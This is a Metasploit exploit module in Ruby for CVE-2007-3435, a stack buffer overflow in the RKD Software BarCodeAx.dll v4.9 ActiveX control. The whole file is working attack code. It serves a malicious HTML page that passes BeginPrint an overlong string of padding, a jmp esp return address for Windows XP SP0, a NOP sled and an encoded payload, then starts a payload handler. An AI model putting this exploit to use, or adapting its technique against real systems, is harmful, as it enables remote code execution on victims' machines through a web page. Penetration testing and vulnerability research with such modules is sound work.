##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in RKD Software Barcode Application
        ActiveX Control 'BarCodeAx.dll'. By sending an overly long string to the BeginPrint
        method of BarCodeAx.dll v4.9, an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Trancek <trancek[at]yashira.org>', 'aushack' ],
      'References'     =>
        [
          [ 'EDB', '4094' ],
          [ 'OSVDB', '37482' ],
          [ 'BID', '24596' ],
          [ 'CVE', '2007-3435' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars' => "\x00\x0a\x0d\x20\'\"%<>@=,.\#$&()\\/",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0 English', { 'Ret' => 0x71ab7bfb } ] # jmp esp ws2_32.dll aushack xpsp0
        ],
      'DisclosureDate' => 'Jun 22 2007',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname = rand_text_alpha(rand(100) + 1)

    buff = Rex::Text.rand_text_alphanumeric(656) + [target['Ret']].pack('V') + make_nops(20) + payload.encoded

    # Build out the message
    content = %Q|<html>
<object classid='clsid:C26D9CA8-6747-11D5-AD4B-C01857C10000' id='#{vname}'></object>
<script language='javascript'>
#{vname}.BeginPrint("#{buff}");
</script>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
